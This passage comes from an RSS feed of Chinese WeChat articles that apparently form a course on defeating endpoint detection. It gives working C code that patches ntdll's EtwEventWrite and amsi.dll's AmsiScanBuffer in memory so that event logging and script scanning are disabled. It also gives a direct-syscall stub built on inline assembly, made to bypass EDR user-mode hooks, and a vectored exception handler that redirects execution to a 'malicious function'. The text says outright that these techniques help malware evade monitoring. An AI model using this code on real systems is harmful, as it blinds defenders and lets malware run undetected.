leaf="">Microsoft-Windows-Kernel-Process：进程创建/终止</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">Microsoft-Windows-Kernel-File：文件操作</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">Microsoft-Windows-Kernel-Network：网络连接</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">Microsoft-Windows-PowerShell：PowerShell命令</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 Patch ETW技术</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">通过修补ETW相关函数，阻止EDR记录事件。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">目标函数：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">ntdll!EtwEventWrite</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">ntdll!EtwEventWriteFull</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">实现方法：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">PatchETW</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    HMODULE hNtdll = GetModuleHandleA(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;ntdll.dll&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    LPVOID pEtwEventWrite = GetProcAddress(hNtdll, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;EtwEventWrite&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    DWORD oldProtect;</span><span leaf=""><br/></span><span leaf="">    VirtualProtect(pEtwEventWrite, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">, PAGE_EXECUTE_READWRITE, &amp;oldProtect);</span><span leaf=""><br/></span><span leaf="">    BYTE patch = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xC3</span></span><span leaf="">; </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// ret</span></span><span leaf=""><br/></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">(pEtwEventWrite, &amp;patch, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    VirtualProtect(pEtwEventWrite, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">, oldProtect, &amp;oldProtect);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 AMSI（Antimalware Scan Interface）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">AMSI是Windows提供的反恶意软件扫描接口，用于扫描脚本内容。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">关键AMSI函数：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">AmsiInitialize</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">AmsiOpenSession</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">AmsiScanBuffer</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">AmsiScanString</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4 Patch AMSI技术</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">通过修补AMSI相关函数，使恶意脚本不被扫描。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">目标函数：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">amsi!AmsiScanBuffer</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">amsi!AmsiScanString</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">实现方法：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">PatchAMSI</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    HMODULE hAmsi = LoadLibraryA(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;amsi.dll&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;AmsiScanBuffer&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    DWORD oldProtect;</span><span leaf=""><br/></span><span leaf="">    VirtualProtect(pAmsiScanBuffer, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">6</span></span><span leaf="">, PAGE_EXECUTE_READWRITE, &amp;oldProtect);</span><span leaf=""><br/></span><span leaf="">    BYTE patch[] = { </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xC0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xC3</span></span><span leaf=""> }; </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// xor eax, eax; ret</span></span><span leaf=""><br/></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">(pAmsiScanBuffer, patch, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    VirtualProtect(pAmsiScanBuffer, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">6</span></span><span leaf="">, oldProtect, &amp;oldProtect);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.5 实战案例分析</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.5.1 案例1：Patch ETW绕过EDR监控</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击场景：</span></strong><span leaf="">攻击者需要执行恶意操作，但EDR通过ETW监控所有系统事件。</span></p><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="56"></mp-pay-preview-filter></p></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4dd7f863&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496628%26idx%3D1%26sn%3Ddc58c1ca254f6f7e484fdd6be815367b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Apr 2026 08:31:00 +0800</pubDate>
    </item>
    <item>
      <title>反检测技术（下）——SysCall与VEH</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496627&amp;idx=1&amp;sn=ad0b0dd08792ba9d4e1a617928378bc3</link>
      <description>一、前言概述本课将继续介绍反检测技术，重点讲解SysCall（系统调用）和VEH（向量异常处理）技术，这些技术</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-01 08:31</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ecd8d8e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY5oGDM3AaibxdibPm7MdW1sicXyGaKcSXRwgvmmBJTU5z2FpY9GYBSI3czpYibfgw2ia0hUoib20aMEnqBBHIyxBwjHzYQXTvaibyo1c8%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">本课将继续介绍反检测技术，重点讲解SysCall（系统调用）和VEH（向量异常处理）技术，这些技术可以帮助恶意软件绕过EDR监控。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 SysCall（系统调用）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">EDR通常通过Hooking用户态API监控行为，直接使用系统调用可以绕过这些Hook。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">Windows系统调用：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">用户态API: CreateFile -&gt; kernel32!CreateFileA/W -&gt; ntdll!NtCreateFile -&gt; syscall</span><span leaf=""><br/></span><span leaf="">系统调用: 直接调用ntdll!NtCreateFile -&gt; syscall</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">实现方法：</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">方法1：直接调用ntdll函数：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">typedef</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">NTSTATUS</span></span><span style="line-height: 26px;"><span leaf="">(NTAPI *pNtCreateFile)</span></span><span style="line-height: 26px;"><span leaf="">(...)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">DirectSyscall</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    HMODULE hNtdll = GetModuleHandleA(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;ntdll.dll&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    pNtCreateFile NtCreateFile = (pNtCreateFile)GetProcAddress(hNtdll, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;NtCreateFile&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 使用NtCreateFile</span></span><span leaf=""><br/></span><span leaf="">    HANDLE hFile;</span><span leaf=""><br/></span><span leaf="">    OBJECT_ATTRIBUTES objAttr;</span><span leaf=""><br/></span><span leaf="">    IO_STATUS_BLOCK ioStatus;</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 初始化并调用...</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">方法2：直接执行syscall指令：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">DWORD </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">GetSyscallNumber</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">const</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* functionName)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    HMODULE hNtdll = GetModuleHandleA(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;ntdll.dll&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    BYTE* pFunction = (BYTE*)GetProcAddress(hNtdll, functionName);</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 检查是否是syscall</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (pFunction[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">] == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x4C</span></span><span leaf=""> &amp;&amp; pFunction[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">] == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x8B</span></span><span leaf=""> &amp;&amp; pFunction[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">] == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xD1</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (pFunction[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">] == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xB8</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> *(DWORD*)(pFunction + </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">NTSTATUS </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">ExecuteSyscall</span></span><span style="line-height: 26px;"><span leaf="">(DWORD syscallNumber, ...)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    NTSTATUS status;</span><span leaf=""><br/></span><span leaf="">    __asm {</span><span leaf=""><br/></span><span leaf="">        mov r10, rcx</span><span leaf=""><br/></span><span leaf="">        mov eax, syscallNumber</span><span leaf=""><br/></span><span leaf="">        syscall</span><span leaf=""><br/></span><span leaf="">        mov status, eax</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> status;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 VEH（Vectored Exception Handling）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">VEH是Windows的一种异常处理机制，可以用于执行代码，常用于绕过检测。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">实现方法：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">LONG WINAPI </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">VEHHandler</span></span><span style="line-height: 26px;"><span leaf="">(PEXCEPTION_POINTERS pExceptionInfo)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (pExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == EXCEPTION_BREAKPOINT) {</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 执行恶意代码</span></span><span leaf=""><br/></span><span leaf="">        pExceptionInfo-&gt;ContextRecord-&gt;Rip = (DWORD64)MaliciousFunction;</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> EXCEPTION_CONTINUE_EXECUTION;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> EXCEPTION_CONTINUE_SEARCH;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">UseVEH</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    AddVectoredExceptionHandler(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">, VEHHandler);</span><span leaf=""><br/></span><span leaf="">    DebugBreak();</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 